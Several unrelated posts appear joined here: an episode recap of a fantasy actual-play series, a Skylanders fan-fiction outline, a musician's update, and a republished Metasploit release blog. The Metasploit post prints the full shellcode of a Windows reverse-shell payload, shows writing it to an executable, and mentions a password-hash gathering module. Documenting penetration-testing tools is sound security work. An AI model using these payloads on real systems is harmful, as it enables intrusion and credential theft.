Also, Sophie keeps postponing her meeting with Mario which is concerning to me. The story is still happening when you’re not interacting with it. Brennan specifically said when she texted him that she got no response which doesn’t make me feel good about what’s going on with him.

Ricky has three super jacked, fratty firefighter bros, all named John who are like woke as hell. I wish I could follow the dude around for a day because every single facet of his life is wild.

Well, this episode promised we were gonna talk about Pete so let’s talk about Pete.

The gang, sans Pete, meet up with the magical powers that be to discus the destruction the newest Vox his leaving in his wake.

Sidenote, wild that Sophie has been magic for like 15 minutes and got to go to this meeting.

Alejandro wants to know what the plan is for if Pete’s powers go off the rails again. Kingston, who has clearly seen Old Yeller, offers the most drastic solution immediately: if it comes to it, we take him out. (Cut to Ally’s “Yikes” face). Kug, Sophie, and Ricky push back on that.

Misty, hilariously (and also suspiciously), is mainly concerned about NY because she needs theater to keep happening. This woman is chaotic something and I’m not convinced it’s chaotic good yet.

Anyway, I already did my big write-up on this part of the episode, but I’ll say it again: Kingston is right. He’s harsh but he’s right. This is some Phoenix Force BS that’s happening and do you know how that arc ends (the OG one, not the million other Phoenix Sagas that have happened since)? It ends with Jean Grey killing herself so she doesn’t lose control and eat another planet. Ricky is too dangerous for his own good and he doesn’t seem to have the emotional maturity to care (or at least to care at the correct level). Like, he was a drug dealer when this started which is already not ideal. He caused a huge mess and then just bounced without trying to help fix it. He thought that a week was enough time for human casualties to be water under the bridge. Frankly, not considering the nuclear option and just having to figure out if killing him is something the group is willing to do on the fly would be the more irresponsible option.

And not including Pete in the discussion would bother me more if he hadn’t openly blown off every serious discussion people have tried to have with him so far. If he’s not going to take things seriously, it makes sense they don’t invite him to the serious discussions.

The version of this story where Pete accidentally gets a bunch of people killed, finds out what he did, cries about it for a full day, and then finds out they’re talking about possibly killing him is a story where Pete is more sympathetic imo. But still, finding out that people talked about killing you under any circumstances has got to be rough.

IMO, the order of things that should be done right now are (1) putting magical training wheels on Pete, (2a) getting Pete trained or his powers transferred if it’s possible/he wants out, (2b) either way, getting Pete into therapy (like, he needed therapy before he got magic. now it’s just a matter of life and death–besides just his own), (3) talking to Pete again about the stakes and telling him point blank but not in while heated that there’s the possibility of a scenario where his powers go out of control and you have to understand that at that point it’s a matter of saving as many lives as possible. Like, Kingston can say, with conviction, “If I go rogue, you should do the same to me.” They’re in the same boat. Kingston’s just been rowing longer. Well, similar boats anyway. I imagine the Vox Populi powers are less inherently chaotic. And maybe the knowledge that a nuclear option is on the table would make Pete not want the job or want him to have his powers muted or something. Cool. Then you have that discussion at that point. Just, these are the conversations that need to happen. And maybe his own mortality will be the thing that helps get Pete’s head in the game. 

What jewel did Ale take out of his pocket during this conversation? Taking note of that. (Juul, not jewel. Duh. Thx thethief )

Pete gets in touch w/ Alejandro’s granddaughters who tell him that Alejandro’s still pretty pissed (which is surprising to Pete but like, bro. People died). Then, Robert shows up to sweet talk Pete and show him the video (that he somehow has) of Kingston talking at the Pete Meeting. When I was watching this the first time I was like, “How long before this blows up in their face–oh, almost immediately. Cool.”

He takes Pete to his vampire nightclub and hits him with Pete’s own “I didn’t create the demand” line that you just know Brennan put a pin in to hit Pete with that Uno Reverse card.

Robert tries to get Pete to summon Nod and then just does it forcibly with some kind of blood magic when Pete is hesitant. Pete wild magic surges, kills a bunch of vamps, and Nod (super injured by being in the waking world) teleports them both to the subway.

The group (including Alejandro) meets them there so they can catch the L train to Nod but Epona shows up. And you already know from Fantasy High that Brennan is on the ACAB train (or is that AFCAB?). Epona is now wearing a crooked badge–crooked badge for a crooked cop. She wants Nod. No can do. The gang gets ready to–to quote Mr. Cubby-make some bacon while Alejandro tries to cast a spell to summon a train to Nod (the place not the person).

So I’ll see y’all next time (whenever that is) for some subway fighting and some backstory unlocking! 

[burntuakrisp]

Skylander Portal Master Adventures (Outline)

Billions and Billions of years ago, there were 2 distant but connected worlds. The planets Earth and Skylands. Many believe that the ancients caused what humans refer to as the Big Bang. The result of this created both Skylands and Earth. Earth and Skylands were millions of light-years separated from each other, but they were connected by the portals of Skylands. And for millennia’s the 2 worlds held a powerful bond. Many Humans from Earth moved to Skylands to begin new lives, in fact, many of them became the Portal masters that controlled Skylands. However this did not last forever. Bad inhabitants of Skylands and greedy humans of Earth took advantage of the other's world. Resulting in the birth of Dark portal masters and the sins of humanity. This lead to both worlds being harmed by their actions. But these criminal acts were stopped by the formation of Skylands most powerful heroes and champions; The Skylanders. With their powers of Air, Earth, Fire, Life, Magic, Tech, Undead, and Water, they (along with their elemental portal masters) were able to protect the inhabitants of Skylands from the sinful humans of Earth. Soon enough most of the evil humans fled from Skylands and back to Earth. But they couldn’t stop the Dark portal masters and the evil beings of Skylands who still caused mayhem. Many of the villains of Skylands used portals to travel to Earth to attack humans, steal resources, and swipe the power of Earth. Since Earth didn’t have as much magic as Skylands, humans couldn’t find ways to stop it. Not only that but some villains wanted to enslave the humans and destroy the planet, and with the humans unable to fight against them and the Skylanders not having the power to go to earth, the bond between Earth and Skylands fell. To make matters worse the villains and dark portal masters that still remained on Skylands hunted down good portal masters. Soon the population of portal masters began to decrease day by day. Some of the portal masters fled back to Earth, transformed into different species, or went into hiding in order to save themselves, but eventually, there were only a handful remaining.in order to stop this war they had to break the bond entirely, they had to separate Skylands and Earth forever. With all the magic they had left, they went to earth and shut down the portal, cutting of Skylands as well as its magic from Earth. But not only that but also their memories of Skylands, making humanity forget about Skylands and magic. Skylands never did forget about Earth, many of the planets stories were passed down for eons. Speaking on which, one of the last remaining Portal master “Master Eon”, became the ruler of Skylands and the only portal master Skylands had left. Many Skylanders still wonder what happened to the other portal masters and what has happened to Earth. But only time will tell them what will happen next. Present: Summer has begun for Aiden and he’s dreading all of it. An entire 3 months without electricity in the woods in the middle of nowhere while his parents are off on a luxurious cruise  If it wasn’t for his best friends Julius and Brooke agreeing to come along, he’d probably lose his mind. But he and his friends have to share a cabin with a few other kids. An uptight brat who’s obsessed with plants but hate insects (Fern), a party boy that loves to do things extreme (Han), an athlete girl that get’s way too excited (Katie), a quiet broody guy that always gives others the cold shoulder (Jett), and a shy blonde girl that doesn’t know how to stop being a doormat (Jade). 3 days had passed and Aiden already wants to leave, but he can’t call a taxi without his phone. He could run away, but he doesn’t know the way back to the city, and he’s probably get lost. The counselor decides to do an icebreaker and to have the campers form groups with those they share cabins with and explore the forest and take pictures of anything they find interesting. With a map, portable cameras, water, and food, all the campers head out and agree to head back before dark. So the group sets out in the dry humid sun as they walk through the forest. Aiden and Jett keep arguing about who is the leader, Fern and Katie argue about bugs and don’t want to get bit. Julius has to keep Han on a leash, and Brooke is trying to stay cool while Jade is trying to take pictures. Aiden decides they should stray off the “boring” trail and find something much cooler, or at least a clue where is the fence of the park is located. Jett doesn’t think they should do that but the rest of the group would rather do anything than walk around aimlessly and get pictures of bugs, trees, and plants. Unfortunately, this results in the group getting lost in the middle of the forest after walking around for hours. Everyone starts arguing and blaming each other til Julius notices a light (excluding the sun) shining through the forest. They think it might be a radio station, or a vehicle, or at least a telephone place. So they run as fast as they can towards the area. But what they find is actually something they never expected. It was an old worn down temple that reflected the sun’s light to get the group’s attention. It was covered in dust and dirt and looked like it had been abandoned for generations. Seeing that this the best opportunity to take some awesome pictures, the group walks in. The inside walls were covered with an unknown language, weird symbols, and strange formation of rocks. But what struck them to be the oddest was in the back, there was an old door with a rushed lock holding it shut. Jett manages to break the lock and the door is opened. In the middle of the new room was what appeared to be a formation of rocks into a circle, almost like a wishing well. But instead of a large hole or water, instead, it was a flat surface. Aiden gets close to get a group picture, but the flash of the camera results in the room symbols to glow brightly and surround the kids. They try to run but the door shut itself, locking them in. The symbols then emit a beam of light at each kid, but not harming them. The rock middle of the rock formation glows and sucks in the screaming children. One more Flash of light later, and the children are gone, the only thing remaining is the camera they took before they were taken. ______ Aiden’s mind is blurry, he feels sick and confused. He wakes up to find himself in a forest, but so unlike the ones he’s seen before. They looked different from the ones at camp. The next thing he realizes is that he is no longer wear his normal clothes, now he’s dressed like a mage. Aiden has no idea where everyone else is, and he heads out to find them. Spyro is out flying after he became a brand new Skylanders. There is an assignment where Skylanders is to patrol the area for that escaped rock monster. Everyone was in a group except for Spyro. But when he lands on an island, he hears the sound of something running in the nearby forest. Assuming that it is an enemy, Spyro chases it. Cue chase sequence that ends with Spyro and Aiden meeting and screaming in fear. After calming down, introduces are exchanged and Spyro explains that Aiden is in Skylands. Aiden is confused, but then a rock monster that Spyro was chasing emerged and started attacking. Spyro smugly attacks the monster but Aiden panics and accidentally causes a portal to appear that saved Spyro’s life. The monster is defeated and Spyro notices that the magic symbol (Spyro’s element) is on Aiden’s Right hand. Spyro decides he needs to show this to his friends. At the same time, more encounters are taking place, Stealth elf and Eruptor meet Fern and Han, Trigger Happy and Gill Grunt meet Julius and Brooke. Hex and Prison Break meet Jett and Jade. Jet-Vac gets tackled by Katie. The kids are reunited and brought back to the Academy by a portal, confirming that the humans are portal masters All Skylanders and those at the academy hear the news and circle the kids, overwelming them. Until Eon breaks the chaos ______ All 8 kids have a private conversion with Eon. They tell him how they ended up here from Earth. Eon then tells them everything they want to know What that old temple must've been What Skylands is. Why they have patterns of symbols on their skin What are portal masters? What are Skylanders? Who is Kaos? What is the purpose of the academy? And more In the end, Eon decides to ask if the kids if they would want to be a part of the academy. The group gathers to discuss the matter. Aiden wants to stay rather than return to that boring campsite. The rest of the group, however, decides that they have to return to earth, where people are expecting them. But just as the rest of the group leaves, the Skylanders are already planning a festival for the new portal masters. The group stare at a smug Aiden and agree that they could stay a little while. ______ But it is at this time when Kaos is spying on the Skylanders to find the location of the Core of Light, only to see a festival celebrating something. Kaos and Glumshakes get closer to see the celebration for….PORTAL MASTERS!!!! Kaos is infuriated but secretly scared of the Skylander’s growing power with these new accomplices. He decides to scare them away with his head projection, getting them to leave Skylands and crush them. After a while of partying, the kids decide they need to head back, but Aiden refuses to go. A much-heated argument unfolds till Kaos disrupts the celebration. He mocks the portal masters and sends a bunch of minions to attack the academy and capture the portal masters. The Skylanders attack and try to protect the portal masters, but they are being outnumbered. The team realizes that they have to work together to save the academy. They ask Eon how to summon portals, and they have to reach inside their souls, hold out their symbols, and think of the location where they want it to be. It works and the Skylanders are able to defeat the minion hoard and stop Kaos. The kids are disappointed by the real face of Kaos, Jett calls him a toddler. Kaos swears revenge on the Skylanders and portal masters, as he runs away in a huff. The kids have to go back to earth, but they now understand the importance of being portal masters and agree to come back tomorrow. They return and it is almost sundown. Luckily the camp counselors have been searching for them. The kids run out of the temple to where they are being called at, showing that they are safe. They do go to bed without dinner, but return with a brand new plan for the summer, being portal masters.

[tfytfy]

A slight change of plans

After listening to about a half-hour’s worth of material that I had declared “finished” and giving it a good deal of thought, I decided to scrap the previously announced album project. This is definitely a case of cooler heads prevailing. I don’t know what I was shooting for with this, but whatever it was my aim was way off. I’d say that roughly half of it was worth salvaging and expanded upon. The rest of it is sitting in the Recycle Bin. There’s 36 GB in there. I should probably empty it.

So, basically, Reinstatement has been promoted from EP to album. I’m not going to put a hex on myself and give a projected release date. When it’s done, I’ll let you know. :)

But since I’ve still kinda got the EP bug, I was thinking that a couple of covers would be kinda fun. I started working on a cover of Ween’s “You Fucked Up” (with actual, real-live guitar played by me!) before things got crazy at the first of the year. I’ve been kicking around arrangement ideas for a few other possible covers. Since I got this excellent Pure Data patch from Pierre’s excellent GuitarExtended website running, I’m pretty sure there will be some Mellotron on there somewhere.

Anyway, as you were.

[terabitweb]

Original Post from Rapid7 Author: William Vu

Hacker Summer Camp

Last week, the Metasploit team flew out to sunny, hot, and dry Las Vegas for Hacker Summer Camp (Black Hat, BSidesLV, and DEF CON). It was a full week of epic hacks, good conversation, and even a little business!

If you managed to catch us at our Open Source Office Hours (previously OSSM, the Open Source Security Meetup) in Bally’s, we just wanted to say thanks for making the trek through the Las Vegas sun to come see us!

In between Vegas and the Exploit That Shall Not Be Named, we’ve been steadily at work enhancing modules, the console, and fixing bugs for this release.

msfvenom in my msfconsole?

Back in June of last year, we aligned the options for msfconsole‘s generate command with msfvenom‘s options. Since the change was subtle and may not have been picked up by the various tutorials on the Net, this will be a quick recap on how to use the new-ish options.

If you’re on Metasploit 5, please continue reading! If not, you can continue to use the old invocation. 🙂

Run help generate to see the new usage for the generate command.

msf5 payload(windows/shell_reverse_tcp) > help generate Usage: generate [options] Generates a payload. Datastore options may be supplied after normal options. Example: generate -f python LHOST=127.0.0.1 OPTIONS: -E Force encoding -O Deprecated: alias for the '-o' option -P Total desired payload size, auto-produce appropriate NOP sled length -S The new section name to use when generating (large) Windows binaries -b The list of characters to avoid example: 'x00xff' -e The encoder to use -f Output format: bash,c,csharp,dw,dword,hex,java,js_be,js_le,num,perl,pl,powershell,ps1,py,python,raw,rb,ruby,sh,vbapplication,vbscript,asp,aspx,aspx-exe,axis2,dll,elf,elf-so,exe,exe-only,exe-service,exe-small,hta-psh,jar,jsp,loop-vbs,macho,msi,msi-nouac,osx-app,psh,psh-cmd,psh-net,psh-reflection,vba,vba-exe,vba-psh,vbs,war -h Show this message -i The number of times to encode the payload -k Preserve the template behavior and inject the payload as a new thread -n Prepend a nopsled of [length] size on to the payload -o The output file name (otherwise stdout) -p The platform of the payload -x Specify a custom executable file to use as a template msf5 payload(windows/shell_reverse_tcp) >

Following the example in the usage, to specify datastore options in your generate command, simply append them to the command line after normal options.

msf5 payload(windows/shell_reverse_tcp) > generate -f python LHOST=127.0.0.1 # windows/shell_reverse_tcp - 324 bytes # https://metasploit.com/ # VERBOSE=true, LHOST=127.0.0.1, LPORT=4444, # ReverseAllowProxy=false, ReverseListenerThreaded=false, # StagerRetryCount=10, StagerRetryWait=5, # PrependMigrate=false, EXITFUNC=process, CreateSession=true buf = "" buf += "xfcxe8x82x00x00x00x60x89xe5x31xc0x64x8b" buf += "x50x30x8bx52x0cx8bx52x14x8bx72x28x0fxb7" buf += "x4ax26x31xffxacx3cx61x7cx02x2cx20xc1xcf" buf += "x0dx01xc7xe2xf2x52x57x8bx52x10x8bx4ax3c" buf += "x8bx4cx11x78xe3x48x01xd1x51x8bx59x20x01" buf += "xd3x8bx49x18xe3x3ax49x8bx34x8bx01xd6x31" buf += "xffxacxc1xcfx0dx01xc7x38xe0x75xf6x03x7d" buf += "xf8x3bx7dx24x75xe4x58x8bx58x24x01xd3x66" buf += "x8bx0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0" buf += "x89x44x24x24x5bx5bx61x59x5ax51xffxe0x5f" buf += "x5fx5ax8bx12xebx8dx5dx68x33x32x00x00x68" buf += "x77x73x32x5fx54x68x4cx77x26x07xffxd5xb8" buf += "x90x01x00x00x29xc4x54x50x68x29x80x6bx00" buf += "xffxd5x50x50x50x50x40x50x40x50x68xeax0f" buf += "xdfxe0xffxd5x97x6ax05x68x7fx00x00x01x68" buf += "x02x00x11x5cx89xe6x6ax10x56x57x68x99xa5" buf += "x74x61xffxd5x85xc0x74x0cxffx4ex08x75xec" buf += "x68xf0xb5xa2x56xffxd5x68x63x6dx64x00x89" buf += "xe3x57x57x57x31xf6x6ax12x59x56xe2xfdx66" buf += "xc7x44x24x3cx01x01x8dx44x24x10xc6x00x44" buf += "x54x50x56x56x56x46x56x4ex56x56x53x56x68" buf += "x79xccx3fx86xffxd5x89xe0x4ex56x46xffx30" buf += "x68x08x87x1dx60xffxd5xbbxf0xb5xa2x56x68" buf += "xa6x95xbdx9dxffxd5x3cx06x7cx0ax80xfbxe0" buf += "x75x05xbbx47x13x72x6fx6ax00x53xffxd5" msf5 payload(windows/shell_reverse_tcp) >

What’s even cooler is that generate will remember the datastore options you gave it, allowing you to invoke it again with different options, such as writing the payload to a file.

Here we demo writing the payload windows/shell_reverse_tcp to file shell_reverse_tcp.exe without having to set LHOST again.

msf5 payload(windows/shell_reverse_tcp) > options Module options (payload/windows/shell_reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 127.0.0.1 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port msf5 payload(windows/shell_reverse_tcp) > generate -f exe-only -o shell_reverse_tcp.exe [*] Writing 73802 bytes to shell_reverse_tcp.exe... msf5 payload(windows/shell_reverse_tcp) > file shell_reverse_tcp.exe [*] exec: file shell_reverse_tcp.exe shell_reverse_tcp.exe: PE32 executable (GUI) Intel 80386, for MS Windows msf5 payload(windows/shell_reverse_tcp) >

We hope you find these changes useful. Happy hacking!

Enhancements and features

PR #12161 – The linux/gather/hashdump module has been updated to gather password history information from /etc/security/opasswd.

Bugs fixed

PR #12202 – This adds the needs_cleanup attribute to post modules, fixing a crash when the attribute is used (such as in FileDropper) without being available.

PR #12199 – This replaces a backtrace with a friendly error message when the user specifies an invalid value for RHOSTS in an exploit module.

PR #12198 – This restores functionality from Metasploit 4 and earlier where payload-specific options to the generate command can be passed with -o. For parity with the msfvenom command however, prefer simply specifying options directly with Metasploit 5 and later.

PR #12188 – This fixes tools/modules/module_author.rb to use the renamed fullname value.

Get it

As always, you can update to the latest Metasploit Framework with msfupdate and you can get more details on the changes since the last blog post from GitHub:

Pull Requests 5.0.40…5.0.41

Full diff 5.0.40…5.0.41

We recently announced the release of Metasploit 5. You can get it by cloning the Metasploit Framework repo (master branch). To install fresh without using git, you can use the open-source-only Nightly Installers or the binary installers (which also include the commercial editions).

Go to Source Author: William Vu Metasploit Wrap-Up Original Post from Rapid7 Author: William Vu Hacker Summer Camp Last week, the Metasploit team flew out to sunny, hot, and dry Las Vegas for Hacker Summer Camp (Black Hat, BSidesLV, and DEF CON).

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